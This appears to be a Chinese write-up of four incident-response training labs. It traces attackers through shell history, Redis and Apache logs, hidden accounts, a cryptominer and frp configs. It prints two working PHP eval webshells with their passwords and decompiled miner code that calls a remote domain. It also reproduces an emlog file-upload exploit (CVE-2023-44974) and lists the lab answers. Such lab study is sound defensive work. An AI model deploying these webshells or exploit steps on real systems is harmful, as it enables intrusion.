靶场一 linux应急响应

目标: 3个flag以及黑恶的ip地址
登录密码 defend

历史指令

先登录root看历史指令
Omu08v.png
拿到flag1 flag{thisismybaby}

[root@localhost defend]# history
    1  ls
    2  chmod +x /etc/rc.d/rc.local
    3  cat /etc/rc.d/rc.local
    4  vim /etc/rc.d/rc.local 
    5  echo flag{thisismybaby}
    6  exit
    7  ls 
    8  ls -al
    9  cat .bash_history 
   10  history

根据历史指令 黑客修改了/etc/rc.d/rc.local 文件

[root@localhost etc]# cat /etc/rc.d/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.


# flag{kfcvme50}

文件里面放了第二个flag
flag{kfcvme50}
文件里还有信息touch /var/lock/subsys/local
创建了一个local文件但是目录是空

[root@localhost subsys]# ls -al
总用量 0
drwxr-xr-x. 2 root root  80 417 17:12 .
drwxr-xr-x. 8 root root 220 417 17:12 ..
-rw-r--r--. 1 root root   0 417 17:12 local
-rw-r--r--. 1 root root   0 417 1

第三个flag在redis的配置目录下找到
其实是偷鸡找到的,但是也说明了redis配置文件容易被入侵

[root@localhost etc]# grep -rl "flag{" .
./rc.d/rc.local
./redis.conf
[root@localhost subsys]# cat /etc/redis.conf
# flag{P@ssW0rd_redis}
# Redis configuration file example.
#
# Note that in order to read the configuration file, Redis must be
# started with the file path as first argument:
#
# ./redis-server /path/to/redis.conf

# Note on units: when memory size is needed, it is possible to specify
# it in the usual form of 1k 5GB 4M and so forth:
#
# 1k => 1000 bytes
# 1kb => 1024 bytes
# 1m => 1000000 bytes
# 1mb => 1024*1024 bytes
# 1g => 1000000000 bytes
# 1gb => 1024*1024*1024 bytes
#
# units are case insensitive so 1GB 1Gb 1gB are all the same.

第三个flag {P@ssW0rd_redis}

访问日志

最后是找到黑客的ip,从redis被入侵来看redis日志极可能包含ip

[root@localhost redis]# cat redis.log |grep Acc
11111:M 18 Mar 19:27:54.895 - Accepted 127.0.0.1:41590
11595:M 18 Mar 19:27:57.321 - Accepted 192.168.75.129:54766
11595:M 18 Mar 19:39:31.996 - Accepted 192.168.75.129:53104
11595:M 18 Mar 19:39:34.052 - Accepted 192.168.75.129:57672
11595:M 18 Mar 19:44:53.399 - Accepted 127.0.0.1:41594
12234:M 18 Mar 19:47:02.153 - Accepted 192.168.75.129:45240
12234:M 18 Mar 19:47:03.612 - Accepted 192.168.75.129:53124
12234:M 18 Mar 19:53:40.994 - Accepted 127.0.0.1:41596
12559:M 18 Mar 19:53:45.397 - Accepted 192.168.75.129:44572
12559:M 18 Mar 19:53:46.807 - Accepted 192.168.75.129:44582
12559:M 18 Mar 20:20:57.221 - Accepted 127.0.0.1:41598
13274:M 18 Mar 20:21:56.411 - Accepted 192.168.75.129:54826
13274:M 18 Mar 20:21:58.333 - Accepted 192.168.75.129:54836

根据进入的ip锁定黑客ip为192.168.75.129
上交题解系统

[defend@localhost 题解]$ ./题解Script.sh
欢迎使用 知攻善防实验室 解题系统
在继续之前,您需要获得以下内容:
1.攻击者IP地址
2.三个flag(flag格式flag{xxxxx})
您准备好了吗?(y/n) y
请输入攻击者的IP地址:192.168.75.129  
您输入的IP地址正确,请继续
请输入第一个flag:flag{thisismybaby}
您输入的第一个flag正确,请继续
请输入第二个flag:flag{kfcvme50}
您输入的第二个flag正确,请继续
请输入第三个flag:flag{P@ssW0rd_redis}
您输入的第三个flag正确,请继续
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!
恭喜您,成功攻克该靶机!

靶场二 windows

是一个windows靶机
OmujwI.png
先看一下需要哪些flag
OmIAPq.png

公众号:知攻善防实验室
欢迎使用知攻善防实验室-应急响应训练靶机解题系统
在此之前,您应该获取到以下信息
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名

桌面有个phpstudy
进入web目录用d盾扫描一下
Omu8HF.png
扫到一个后门
Omu3Jb.png
C:\phpstudy_pro\WWW\content\plugins\tips\shell.php

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

连接密码是rebeyond
然后前往apache日志根据后门文件名寻找黑客ip
OmIa0s.png.
黑客ip:192.168.126.1
先把实时扫描关了,传个工具分析日志
OmI57a.png
OmIBHS.png
发现黑客远程登录记录
用户名是hack168$
去用户木目录下看果然又这个用户
OmIWxC.png
该黑客目录下桌面有个kuang程序 狂?矿!
OmIbJL.png
点了一下,给我电脑靶机玩炸了,应该是内存拉满了
OmIbJL.pngOmIFZt.png
不得已重启了一下
现在需要找到矿池域名
需要py反编译
先解包

PS E:\蓝队应急响应工具箱v2024.4\Tools\BT-Reverse\PyinstallRE> python .\pyinstxtractor.py .\Kuang.exe
[+] Processing .\Kuang.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 9606813 bytes
[+] Found 85 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: Kuang.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: .\Kuang.exe

You can now use a python decompiler on the pyc files within the extracted directory

然后反编译pyc
OmIhcx.png

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import multiprocessing
import requests

def cpu_intensive_task():
    
    try:
        requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',))
    finally:
        continue
        continue

    continue

if __name__ == '__main__':
    cpu_count = multiprocessing.cpu_count()
    processes = (lambda .0: [ multiprocessing.Process(cpu_intensive_task, **('target',)) for _ in .0 ])(range(cpu_count))
    for process in processes:
        process.start()
    for process in processes:
        process.join()

矿池域名wakuang.zhigongshanfang.top

漏洞复现

CVECVE-2023-44974 emlog任意文件上传漏洞
OmInMj.png
进入web登录后台 admin/123456
OmI17p.png
拓展处可以安装插件
OmI7LU.png
上传的压缩包里面要有木马而且需要免杀,用网上exp
https://github.com/yangliukk/emlog/tree/main
OmINXY.png
然后访问/content/plugins/shell/shell.php
OmIrzv.png
成功rce

<?php 
	phpinfo();
?>

shell.php很简单,改成其他远程连接的指令就能拿下windows,比如openssl,nc,powershell等等。

靶场三 windows(2)

题目描述

Administrator
Zgsf@qq.com

打开靶机用密码Zgsf@qq.com登录
先看需要哪些flag
OmwGvc.png

1.攻击者的IP地址(两个)?
2.攻击者的webshell文件名?
3.攻击者的webshell密码?
4.攻击者的QQ号?
5.攻击者的服务器伪IP地址?
6.攻击者的服务器端口?
7.攻击者是如何入侵的(选择题)?
8.攻击者的隐藏用户名?

扫后门

先用d盾扫一下www目录
OmwYFD.png
确实存在后门

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='hack6618';
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

webshell文件名system.php
webshell密码hack6618
OmwfRF.png
看web目录知道这是一个wordpress服务
先去日志把黑客ip找出来
Omwl96.png
**黑客ip之一192.168.126.135**,并且知道了黑客用户为hack887$
看远程连接日志
OmwjUP.png
黑客另一个ip192.168.126.129
进入黑客的桌面看到两个注册表文件
Omw2yb.png
进入cmd发现找不到这个黑客用户
Omw6dl.png
去注册表找一下
OmwXag.png
存在hack887$用户,这是黑客伪装的用户,将其删除
在其他文档里寻找黑客信息,果然document里面又腾讯文件,一般里面文件名都是QQ号
OmwueB.png
OmwIEs.png
黑客QQ777888999321
虽然很长,但毕竟是靶机,就是它了
进去继续找信息
Omw3IK.png
在FileRecv里面发现frp工具,一般用来内网穿透
在frpc.ini里面保存了攻击者的服务器和端口
IP:256.256.66.88
port:65536
解题
OpMMRS.png

靶场四 windows(3)

依旧一个windows web的靶场

登录账号密码 administrator/xj@123456

OpOIza.png
桌面丰富了一些
先看需要哪些flag
OpO3JS.png

确保你已获得以下信息:
攻击者的两个IP地址
攻击者隐藏用户名称
三个攻击者留下的flag

先用d盾查一下webshell
OpOClN.png
没有
去apache日志看一下
access日志只有两个ip
OpaMBC.png
ip1:192.168.75.129
ip2:192.168.75.130
分析远程连接日志
OpaOZL.png
有个hack6618$用户连结果ip是192.168.75.130
那么黑客两个ip应该就是上面两个
再查看一下用户
Opaaci.png
确定黑客name为hack6618$
进入到黑客文档看一下
在下载里面找到了一个木马文件
OpaqMX.png
还有一个flagflag{888666abc}
其他地方没东西
看一下定时任务
Opa57t.png
拿到第二个flagflag{zgsfsys@sec}
看一下执行了什么操作
OpaBLx.png
就是上面我们在下载里面找到的bat文件
然后打开web找找web有什么信息
OpaTXj.png
z-blog的cms
网上有工具可以免密登录后台

下载地址:https://update.zblogcn.com/tools/nologin.zip

放到www目录然后打开url
OpaWzp.png
我这编码有点问题不过不影响看
有个hacker用户
先重置admin用户密码为12345678
OpabPU.png
找到hacker用户,在摘要地方找到了第三个flag
OpaklY.png
flag3:flag{H@Ck@sec}
拿下。